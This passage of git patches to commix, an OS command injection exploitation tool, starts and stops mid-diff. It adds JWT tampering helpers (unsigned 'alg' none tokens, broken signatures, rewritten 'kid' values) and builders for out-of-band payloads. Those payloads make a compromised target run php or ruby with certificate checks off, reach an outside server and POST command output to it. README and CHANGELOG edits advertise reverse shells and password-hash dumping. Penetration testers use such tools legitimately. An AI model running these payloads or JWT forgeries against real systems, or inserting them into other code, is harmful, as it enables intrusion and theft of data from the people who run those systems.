json.loads(_segment(header)) + payload = json.loads(_segment(payload)) + except Exception: + return None + if not isinstance(header, dict): + return None + return {"header": header, "payload": payload, "signature": signature, "raw": token} + +""" +The same token with its 'kid' set to 'value' - the claims and the signature are left exactly as they +arrived, because this field is read to find the key before that signature is ever checked against it. +Nothing is re-signed here: where the target verifies first, the rebuilt token is simply refused. +""" +def rewrite_kid(token, value): + data = parse(token) + if not data: + return token + # Handed back untouched where the value is the one it already carries. A header is not written out + # the way every issuer wrote it - the spacing and the order of its fields are theirs - so rebuilding + # one that did not need rebuilding would answer with a token that differs from the one that arrived, + # and the caller reads that as a value which was never carried this way at all. + if str(data["header"].get("kid", "")) == str(value): + return token + header = dict(data["header"]) + header["kid"] = value + rebuilt = json.dumps(header, separators=(",", ":")).encode() + _, claims, signature = token.split(".") + return base64.urlsafe_b64encode(rebuilt).decode().rstrip("=") + "." + claims + "." + signature + +""" +The same token with its signature made into one no key could have produced, for asking the target +whether it reads the signature at all. The claims are untouched, so an answer that differs from the +real token's is the signature being checked, and nothing else. +""" +def break_signature(token): + data = parse(token) + if not data: + return token + header, claims, signature = token.split(".") + # Flipped rather than replaced wholesale, so it stays the length and alphabet of the real one. + flipped = "".join("A" if character != "A" else "B" for character in signature) + return header + "." + claims + "." + (flipped or "AAAA") + +""" +The same token rewritten to declare that it is unsigned, carrying the claims it already carried. +Nothing is signed here - the signature is dropped, which is what 'alg':'none' means. +""" +def strip_signature(token): + data = parse(token) + if not data: + return token + header = dict(data["header"]) + header["alg"] = "none" + rebuilt = json.dumps(header, separators=(",", ":")).encode() + return base64.urlsafe_b64encode(rebuilt).decode().rstrip("=") + "." + token.split(".")[1] + "." + +""" +Every well-formed token found inside an arbitrary value (a 'Cookie' or 'Authorization' header). +""" +def find(value): + return [match.group(0) for match in re.finditer(JWT_REGEX, value or "") if parse(match.group(0))] + +""" +What is worth saying about a token, read from the token itself. Returns '(id, severity, summary, +detail)' tuples - answered offline, from the token already in the request. +""" +def audit(token): + findings = [] + data = parse(token) + if not data: + return findings + + header, payload = data["header"], data["payload"] + algorithm = (header.get("alg") or "").strip() + + # An unsigned token the target itself issued means its claims need no key to restate. + if algorithm.lower() == "none" or data["signature"] == "": + findings.append(("alg-none", "critical", "token declares alg '" + (algorithm or "none") + "' (unsigned)", + "its claims carry no signature to check them against")) + + if algorithm.upper().startswith(("RS", "ES", "PS")): + findings.append(("alg-confusion", "info", "asymmetric algorithm '" + algorithm + "'", + "worth checking the target does not also accept an HMAC one")) + + for field in UNTRUSTED_KEY_SOURCE_FIELDS: + if field in header: + findings.append(("header-key-injection", "high", "header carries '" + field + "'", + "the key it is verified with is fetched from where the token says")) + + # The reason this check is here at all: 'kid' names the key to verify with, so the target resolves + # it before the signature it would verify has been checked - a lookup built by concatenation is a + # sink reached on every request, and this tool is built to test exactly that. + if "kid" in header: + findings.append(("kid-injection", "info", "header carries 'kid' ('" + str(header["kid"]) + "')", + "a key lookup worth testing as an injection point")) + + if isinstance(payload, dict) and "exp" not in payload: + findings.append(("no-expiry", "high", "no 'exp' claim", "the token does not expire")) + + return findings diff --git a/src/utils/settings.py b/src/utils/settings.py index 789488b334..e7a752f8bb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "208" +REVISION = "209" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -940,6 +940,13 @@ def single_whitespace_for(data=None): REPORT_JSON = None LAST_LOG_GROUP = "header" +# Said once per target, so a token carried on every request is not announced on every one of them. +JWT_CHECKED = False + +# Put where a token would be, to find out whether the target gates on one at all. Deliberately not a +# well-formed token - a token that is merely signed wrong is the thing being tested, not the ruler. +JWT_NON_TOKEN = "not-a-token" + # The max help option length. MAX_OPTION_LENGTH = 18 @@ -1551,7 +1558,11 @@ def ascii_transparent_encoding(name): ENCODING_BASE64 = "base64" ENCODING_BASE64_SAFE = "base64-safe" ENCODING_HEX = "hex" -SUPPORTED_PARAMETER_ENCODINGS = (ENCODING_BASE64, ENCODING_BASE64_SAFE, ENCODING_HEX) +# A value carried as the 'kid' of a JSON Web Token - the field naming which key to verify with, read +# by the target before the signature it would verify has been checked. The rest of the token is kept +# exactly as it arrived, signature included, so what is tested is that one field. +ENCODING_JWT_KID = "jwt-kid" +SUPPORTED_PARAMETER_ENCODINGS = (ENCODING_BASE64, ENCODING_BASE64_SAFE, ENCODING_HEX, ENCODING_JWT_KID) # What the tamper scripts that used to write a value out encoded are taken to mean now. ENCODING_TAMPER_SCRIPTS = {"base64encode": ENCODING_BASE64, "hexencode": ENCODING_HEX} PARAMETER_ENCODINGS = {} From 6266e8b28c1036b4044690996b86d00d47526b54 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 10 Oct 2026 11:21:05 +0300 Subject: [PATCH 0880/1023] Added support for reaching the out-of-band server through the `--oob-transport=php` client --- doc/CHANGELOG.md | 1 + src/core/techniques/oob/oob_payloads.py | 41 ++++++++++++++++++++++--- src/utils/settings.py | 2 +- 3 files changed, 39 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c68ac92602..51c3d03463 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Support for reaching the out-of-band server through the `--oob-transport=php` client. * Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point. * Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`. * Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically. diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 23fbe0192d..73ee4afcd7 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -36,7 +36,12 @@ """ The HTTP clients used to reach the out-of-band server, most common first. """ -UNIX_TRANSPORTS = ["curl", "wget", "python", "dns"] +UNIX_TRANSPORTS = ["curl", "wget", "python", "dns", "php"] +# Clients worth asking for, but not on every boundary of the sweep: each one there costs a request +# per boundary, and a target either has a client or it does not - which is not a thing a boundary +# changes. They are asked once a boundary is confirmed, where a target without the common ones still +# needs something that carries output back whole rather than a name at a time. +FALLBACK_TRANSPORTS = ("php",) # 'curl.exe' leads on Windows, where it has shipped in System32 since Windows 10 1803: unlike a # name lookup it carries command output back, and it is quick to give up where a host has no way # out. A lookup follows, present on every Windows and the one confirmed against a real target. @@ -76,6 +81,25 @@ def _python_prog(hostname, from_stdin=False, proof=""): return (settings.LINUX_PYTHON_INTERPRETER + " -c \"" + imports + relax + "urllib.request.urlopen('" + _url(hostname, proof) + "'" + body + ")\"") +""" +Build the PHP program a payload runs, reading its body from stdin when a command is being sent. + +A target reached over HTTPS is usually one whose PHP has no CA store to check it against, and a +failure there costs the whole transport, so verification is turned off - the body is still +encrypted. Written with 'array()' rather than the short form, which PHP older than 5.4 cannot read. +""" +def _php_prog(hostname, from_stdin=False, proof=""): + options = [] + if from_stdin: + options.append("'http'=>array('method'=>'POST','content'=>file_get_contents('php://stdin'))") + if (settings.OOB_SCHEME or "https") == "https": + options.append("'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false)") + context = "" + if options: + context = ",false,stream_context_create(array(" + ",".join(options) + "))" + # The program is inside double quotes, so the shell still does the sum before PHP sees the URL. + return "php -r \"file_get_contents('" + _url(hostname, proof) + "'" + context + ");\"" + """ Build the command that makes the target contact a hostname, carrying a sum for it to evaluate. """ @@ -86,6 +110,8 @@ def reach_command(transport, hostname, proof="", separator=OR): return "wget -qO- " + _url(hostname, proof) if transport == "python": return _python_prog(hostname, proof=proof) + if transport == "php": + return _php_prog(hostname, proof=proof) if transport == "dns": # Resolving the name is enough to prove execution, and needs no HTTP client at all. return dns_lookup_command(hostname, separator) @@ -177,7 +203,8 @@ def transport_of(payload): # filler between a word's letters to dodge keyword filters, which splits a marker apart - strip # that filler back out before looking for one. normalized = re.sub(r'""|\^|\\|\$@', "", payload) - for transport, marker in (("python", "urllib.request"), ("dns", "nslookup"), ("curl", "curl"), + for transport, marker in (("python", "urllib.request"), ("php", "file_get_contents"), + ("dns", "nslookup"), ("curl", "curl"), ("wget", "wget"), ("powershell", "powershell")): if marker in normalized: return transport @@ -191,6 +218,10 @@ def transports(): if settings.OOB_TRANSPORT: return [settings.OOB_TRANSPORT] order = list(WINDOWS_TRANSPORTS) if settings.TARGET_OS == settings.OS.WINDOWS else list(UNIX_TRANSPORTS) + # Left out of the per-boundary sweep: the sweep costs a request per boundary per transport, and + # whether a target has one of these is not something a boundary changes. They are asked once a + # boundary is confirmed instead, through 'upgrade_candidates()'. + order = [candidate for candidate in order if candidate not in FALLBACK_TRANSPORTS] if menu.options.interpreter and "python" in order: order.remove("python") order.insert(0, "python") @@ -269,7 +300,7 @@ def heuristic_payload(channel, target_os): Report whether a transport can carry a computation the receiving end can check. """ def supports_proof(transport): - return transport in ("curl", "wget", "python", "powershell") + return transport in ("curl", "wget", "python", "powershell", "php") """ Build a sum for the target to evaluate, returned as (expression, expected result, prologue). The @@ -323,7 +354,7 @@ def proof(transport, plus=PLUS): Report whether a transport can carry command output back. """ def supports_exfiltration(transport): - return transport in ("curl", "wget", "python", "powershell", "dns") + return transport in ("curl", "wget", "python", "powershell", "dns", "php") """ Hex characters per label, so a name stays inside the 253 bytes a DNS query has for it. Even, so a @@ -409,6 +440,8 @@ def exfil_command(transport, hostname, cmd, pipe=PIPE, separator=""): return "wget -qO- --post-data=\"$" + grouped + "\" " + _url(hostname) if transport == "python": return grouped + pipe + _python_prog(hostname, from_stdin=True) + if transport == "php": + return grouped + pipe + _php_prog(hostname, from_stdin=True) if transport == "powershell": # Out-String joins the lines into one body. return ("powershell.exe -c iwr -Uri " + _url(hostname) + " -Method POST -Body " diff --git a/src/utils/settings.py b/src/utils/settings.py index e7a752f8bb..e1687d65f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "209" +REVISION = "210" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c0eaf6ba2056da8f9b7de848ab146bc408b3e58d Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Sat, 10 Oct 2026 11:29:23 +0300 Subject: [PATCH 0881/1023] Upgrade lock-threads action to version 6 --- .github/workflows/lockbot.yml | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml index 9aba2a20a0..8b1e494e6e 100644 --- a/.github/workflows/lockbot.yml +++ b/.github/workflows/lockbot.yml @@ -6,21 +6,29 @@ on: permissions: issues: write + pull-requests: write + +# One at a time: a scheduled run that overlaps the last one locks the same threads twice. +concurrency: + group: lock-threads jobs: action: runs-on: ubuntu-latest steps: - - uses: dessant/lock-threads@v2 + - uses: dessant/lock-threads@v6 with: - issue-lock-inactive-days: '30' - issue-lock-comment: > + # Issues and pull requests only - discussions are left alone, whether or not the + # repository has them enabled. + process-only: 'issues, prs' + issue-inactive-days: '30' + issue-comment: > This issue has been automatically locked due to inactivity.<br> Please file a new issue if you are encountering a similar or related problem.<br><br> <sub>_This action has been performed automatically by a bot._</sub> issue-lock-reason: '' - pr-lock-inactive-days: 30 - pr-lock-comment: > + pr-inactive-days: '30' + pr-comment: > This PR has been automatically locked due to inactivity.<br> Please file a new issue if you are encountering a similar or related problem.<br><br> <sub>_This action has been performed automatically by a bot._</sub> From 69f5fb484048104e038c3eea71b45601de731613 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 10 Oct 2026 12:50:11 +0300 Subject: [PATCH 0882/1023] Added support for reaching the out-of-band server through the `--oob-transport` clients `php` and `ruby` --- doc/CHANGELOG.md | 2 +- src/core/controller/checks.py | 6 ++++++ src/core/techniques/oob/oob_payloads.py | 28 ++++++++++++++++++++----- src/utils/settings.py | 7 +++++-- 4 files changed, 35 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 51c3d03463..9af10606f7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,5 @@ ## Version 4.2 (TBA) -* Added: Support for reaching the out-of-band server through the `--oob-transport=php` client. +* Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php` and `ruby`. * Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point. * Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`. * Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 4960a94106..be67e1cd74 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -208,6 +208,12 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") if not output: + # Said out loud, because what was already announced as found is being taken back here - left + # silent, the line that follows reads as though the technique above had never confirmed at all. + warn_msg = (settings.CHECKING_PARAMETER + " did not answer the same boundary a second time, so the " + "finding" + ('s', '')[len(new_points) == 1] + " reported above " + + ("is", "are")[len(new_points) != 1] + " discarded as a false positive.") + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.CONFIRMED_INJECTION_POINTS = settings.CONFIRMED_INJECTION_POINTS[:mark] settings.IDENTIFIED_COMMAND_INJECTION = False for row in new_points: diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 73ee4afcd7..94655e37d7 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -36,12 +36,12 @@ """ The HTTP clients used to reach the out-of-band server, most common first. """ -UNIX_TRANSPORTS = ["curl", "wget", "python", "dns", "php"] +UNIX_TRANSPORTS = ["curl", "wget", "python", "dns", "php", "ruby"] # Clients worth asking for, but not on every boundary of the sweep: each one there costs a request # per boundary, and a target either has a client or it does not - which is not a thing a boundary # changes. They are asked once a boundary is confirmed, where a target without the common ones still # needs something that carries output back whole rather than a name at a time. -FALLBACK_TRANSPORTS = ("php",) +FALLBACK_TRANSPORTS = ("php", "ruby") # 'curl.exe' leads on Windows, where it has shipped in System32 since Windows 10 1803: unlike a # name lookup it carries command output back, and it is quick to give up where a host has no way # out. A lookup follows, present on every Windows and the one confirmed against a real target. @@ -100,6 +100,20 @@ def _php_prog(hostname, from_stdin=False, proof=""): # The program is inside double quotes, so the shell still does the sum before PHP sees the URL. return "php -r \"file_get_contents('" + _url(hostname, proof) + "'" + context + ");\"" +""" +Build the Ruby program a payload runs, reading its body from stdin when a command is being sent. + +'net/http' speaks TLS itself, so this reaches an HTTPS server without a client in front of it. The +certificate is not checked, for the same reason it is not checked anywhere else here: the target +rarely has a store to check it against, and failing on that would cost the whole transport. +""" +def _ruby_prog(hostname, from_stdin=False, proof=""): + url = _url(hostname, proof) + verb = "post(u.request_uri,STDIN.read)" if from_stdin else "get(u.request_uri)" + # The program is inside double quotes, so the shell still does the sum before Ruby sees the URL. + return ("ruby -rnet/http -ropenssl -e \"u=URI('" + url + "');h=Net::HTTP.new(u.host,u.port);" + "h.use_ssl=(u.scheme=='https');h.verify_mode=OpenSSL::SSL::VERIFY_NONE;h." + verb + "\"") + """ Build the command that makes the target contact a hostname, carrying a sum for it to evaluate. """ @@ -112,6 +126,8 @@ def reach_command(transport, hostname, proof="", separator=OR): return _python_prog(hostname, proof=proof) if transport == "php": return _php_prog(hostname, proof=proof) + if transport == "ruby": + return _ruby_prog(hostname, proof=proof) if transport == "dns": # Resolving the name is enough to prove execution, and needs no HTTP client at all. return dns_lookup_command(hostname, separator) @@ -204,7 +220,7 @@ def transport_of(payload): # that filler back out before looking for one. normalized = re.sub(r'""|\^|\\|\$@', "", payload) for transport, marker in (("python", "urllib.request"), ("php", "file_get_contents"), - ("dns", "nslookup"), ("curl", "curl"), + ("ruby", "VERIFY_NONE"), ("dns", "nslookup"), ("curl", "curl"), ("wget", "wget"), ("powershell", "powershell")): if marker in normalized: return transport @@ -300,7 +316,7 @@ def heuristic_payload(channel, target_os): Report whether a transport can carry a computation the receiving end can check. """ def supports_proof(transport): - return transport in ("curl", "wget", "python", "powershell", "php") + return transport in ("curl", "wget", "python", "powershell", "php", "ruby") """ Build a sum for the target to evaluate, returned as (expression, expected result, prologue). The @@ -354,7 +370,7 @@ def proof(transport, plus=PLUS): Report whether a transport can carry command output back. """ def supports_exfiltration(transport): - return transport in ("curl", "wget", "python", "powershell", "dns", "php") + return transport in ("curl", "wget", "python", "powershell", "dns", "php", "ruby") """ Hex characters per label, so a name stays inside the 253 bytes a DNS query has for it. Even, so a @@ -442,6 +458,8 @@ def exfil_command(transport, hostname, cmd, pipe=PIPE, separator=""): return grouped + pipe + _python_prog(hostname, from_stdin=True) if transport == "php": return grouped + pipe + _php_prog(hostname, from_stdin=True) + if transport == "ruby": + return grouped + pipe + _ruby_prog(hostname, from_stdin=True) if transport == "powershell": # Out-String joins the lines into one body. return ("powershell.exe -c iwr -Uri " + _url(hostname) + " -Method POST -Body " diff --git a/src/utils/settings.py b/src/utils/settings.py index e1687d65f1..551c771d07 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "210" +REVISION = "211" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1568,7 +1568,10 @@ def ascii_transparent_encoding(name): PARAMETER_ENCODINGS = {} PARAMETER_ENCODING_DEFAULT = None -DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' +# Whitespace, angle brackets and quotes cannot be in a path worth reading back, and letting them in +# is what turns a page that merely mentions a path in its prose into a match running across the +# markup around it - tags, newlines and all - rather than the path itself. +DIRECTORY_REGEX = r'(?:/[^/\s<>"\x27]+)+?/\w+\.\w+' # Directory names a leaked absolute path (an error message naming the running script's own path is # the most common way) is cut at, the same document-root name the target itself is likely using. From 6059a4b89f233bca8bec8c7fe315d09048cba48e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 10 Oct 2026 12:52:28 +0300 Subject: [PATCH 0883/1023] Added support for reaching the out-of-band server through the `--oob-transport` clients `php`, `ruby` and `openssl` --- README.md | 27 ++++++++------- doc/CHANGELOG.md | 2 +- doc/translations/README-es-ES.md | 21 +++++++----- doc/translations/README-fa-FA.md | 21 +++++++----- doc/translations/README-fr-FR.md | 23 +++++++------ doc/translations/README-gr-GR.md | 27 ++++++++------- doc/translations/README-idn-IDN.md | 23 +++++++------ doc/translations/README-tr-TR.md | 24 +++++++------ src/core/techniques/oob/oob_payloads.py | 45 ++++++++++++++++++++++--- src/utils/settings.py | 2 +- 10 files changed, 135 insertions(+), 80 deletions(-) diff --git a/README.md b/README.md index a85340bd59..180cf4fe21 100644 --- a/README.md +++ b/README.md @@ -33,16 +33,15 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features -* **Four injection techniques** - results-based (classic), boolean-based (blind, reading the answer off the page), time-based (blind), and file-based (blind, with a tempfile-based variant for write-restricted targets). Selected with `--technique`, or by the type they report with `--type`. Plus an out-of-band (OAST) channel over HTTP/S and DNS, turned on with its own `--oob` switch rather than a `--technique` of its own. -* **Code injection** - `--eval` tests the string a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript` or `PowerShell`, over the same four techniques (and the out-of-band channel). -* **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. -* **Interactive shells and post-exploitation** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, file `download`/`upload` over the established shell, and enumeration of the current user, hostname, privileges, system information, users and password hashes. Every finding can be re-proved with `--proof`, which runs an experiment of its own and writes the transcript beside the run's output. -* **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. -* **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, an OpenAPI (Swagger) description, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. -* **Resumable scans and machine-readable output** - results are stored per target in a session file, and can be exported as JSON, as a CSV covering every target tested, or as a HAR log of the run's HTTP traffic. The options a run was given can be saved as a profile and reused. -* **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI, and works against both Unix-like and Windows targets - see -[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) -for how the payloads differ. +* **Four injection techniques** - results-based, boolean-based, time-based and file-based, chosen with `--technique` or by the type they report with `--type` - see [techniques](https://github.com/commixproject/commix/wiki/Techniques) for what each one asks of a target. +* **Out-of-band, when nothing comes back at all** - `--oob` proves execution and carries the command's output over HTTP/S or DNS, reaching the server through whichever client the target happens to have - see [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) for the ones it tries and how to pin one. +* **Code injection** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) tests what a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript` or `PowerShell`, over those same techniques. +* **Wherever input lands** - GET/POST parameters, [HTTP headers and cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, plus the `shellshock` module for CGI targets. +* **From proof to shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), built-in `reverse_tcp` and `bind_tcp` upgradeable to a full PTY, file transfer, Windows registry read/write, and enumeration through to password hashes with a dictionary attack offered against them. +* **Filter and WAF evasion** - combinable tamper scripts, applied in a deterministic order - see [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Targets in any shape** - a URL, a crawl, HTML forms, a sitemap, an OpenAPI (Swagger) description, a proxy log, a bulk file, a raw HTTP request, or piped `stdin` - see [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Resumable and scriptable** - [per-target session files](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR output, reusable option profiles, and `--proof`, which re-proves any finding with an experiment of its own. +* **Unix-like and Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI back ends - see [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) for how the payloads differ. ## Installation @@ -71,9 +70,11 @@ Prove execution out-of-band, where the response carries nothing back : $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] -> Out-of-band (OAST) detection with `--oob` uses the public `oast.fun` interactsh server by default, -> so interaction metadata for your target leaves your network. Point `--oob-server` at a self-hosted -> instance to keep it in-house. For a detailed guide, refer to the +> The client is picked by what the target has, so a host stripped of the usual HTTP clients is still +> in reach - pin one with `--oob-transport` where its egress is already known. By default `--oob` uses +> the public `oast.fun` interactsh server, so interaction metadata for your target leaves your +> network; point `--oob-server` at a self-hosted instance to keep it in-house. For a detailed guide, +> refer to the > [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) wiki page. Scan a list of targets unattended and write the results to a file : diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9af10606f7..bbfedb1cf1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,5 @@ ## Version 4.2 (TBA) -* Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php` and `ruby`. +* Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php`, `ruby` and `openssl`. * Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point. * Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`. * Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index dac854d16f..65d33db935 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -34,14 +34,15 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características -* **Cuatro técnicas de inyección** - results-based (classic), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas) y file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida). Se eligen con `--technique`, o según el tipo con el que se informan con `--type`. Además, un canal out-of-band (OAST) sobre HTTP/S y DNS, activado con su propio interruptor `--oob` en vez de una `--technique` propia. -* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript o PowerShell, con las mismas cuatro técnicas (y el canal out-of-band). -* **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. -* **Shells interactivas y post-explotación** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, transferencia de archivos (`download`/`upload`) a través de la shell establecida, y enumeración del usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas. Cada hallazgo puede volver a demostrarse con `--proof`, que ejecuta un experimento propio y escribe la transcripción junto a la salida del análisis. -* **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. -* **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, una descripción OpenAPI (Swagger), un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. -* **Análisis reanudables y salida legible por máquina** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse como JSON, como un CSV que abarca todos los objetivos analizados, o como un registro HAR del tráfico HTTP del análisis. Las opciones con las que se ejecutó un análisis pueden guardarse como perfil y reutilizarse. -* **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI, y funciona tanto contra objetivos tipo Unix como Windows - consulte +* **Cuatro técnicas de inyección** - results-based, boolean-based, time-based y file-based, elegidas con `--technique` o según el tipo con el que se informan con `--type` - consulte [techniques](https://github.com/commixproject/commix/wiki/Techniques) para ver qué exige cada una de un objetivo. +* **Out-of-band, cuando no vuelve nada** - `--oob` demuestra la ejecución y trae de vuelta la salida del comando sobre HTTP/S o DNS, llegando al servidor mediante el cliente que el objetivo tenga - consulte [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) para ver cuáles prueba y cómo fijar uno. +* **Inyección de código** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) prueba lo que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript o PowerShell, con esas mismas técnicas. +* **Dondequiera que llegue la entrada** - parámetros GET/POST, [cabeceras HTTP y cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), cuerpos JSON/XML/GraphQL, además del módulo `shellshock` para objetivos CGI. +* **De la prueba a la shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), los modos integrados `reverse_tcp` y `bind_tcp` ampliables a una PTY completa, transferencia de archivos, lectura y escritura del registro de Windows, y enumeración hasta los hashes de contraseñas, con un ataque de diccionario ofrecido contra ellos. +* **Evasión de filtros y WAF** - scripts de manipulación (tamper) combinables, aplicados en un orden determinista - consulte [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Objetivos de cualquier forma** - una URL, un rastreo del sitio, formularios HTML, un sitemap, una descripción OpenAPI (Swagger), un registro de proxy, un archivo con varios objetivos, una petición HTTP en bruto o entrada por `stdin` - consulte [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Reanudable y automatizable** - [archivos de sesión por objetivo](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), salida JSON/CSV/HAR, perfiles de opciones reutilizables y `--proof`, que vuelve a demostrar cualquier hallazgo con un experimento propio. +* **Tipo Unix y Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI - consulte [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) para ver en qué se diferencian las cargas útiles. @@ -81,7 +82,9 @@ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.ph ``` > [!NOTE] -> La detección fuera de banda (OAST) con `--oob` utiliza de forma predeterminada el servidor +> El cliente se elige según lo que tenga el objetivo, de modo que una máquina sin los clientes HTTP +> habituales sigue estando al alcance - fije uno con `--oob-transport` cuando su salida a red ya se +> conozca. La detección fuera de banda (OAST) con `--oob` utiliza de forma predeterminada el servidor > interactsh público `oast.fun`, por lo que los metadatos de las interacciones con su objetivo salen > de su red. Apunte `--oob-server` a una instancia propia para mantenerlos internos. Para una guía > detallada, consulte la página diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index cd1d945212..b83df8192c 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -33,14 +33,15 @@ ## ویژگی‌ها -* **چهار تکنیک تزریق** - results-based (classic)، 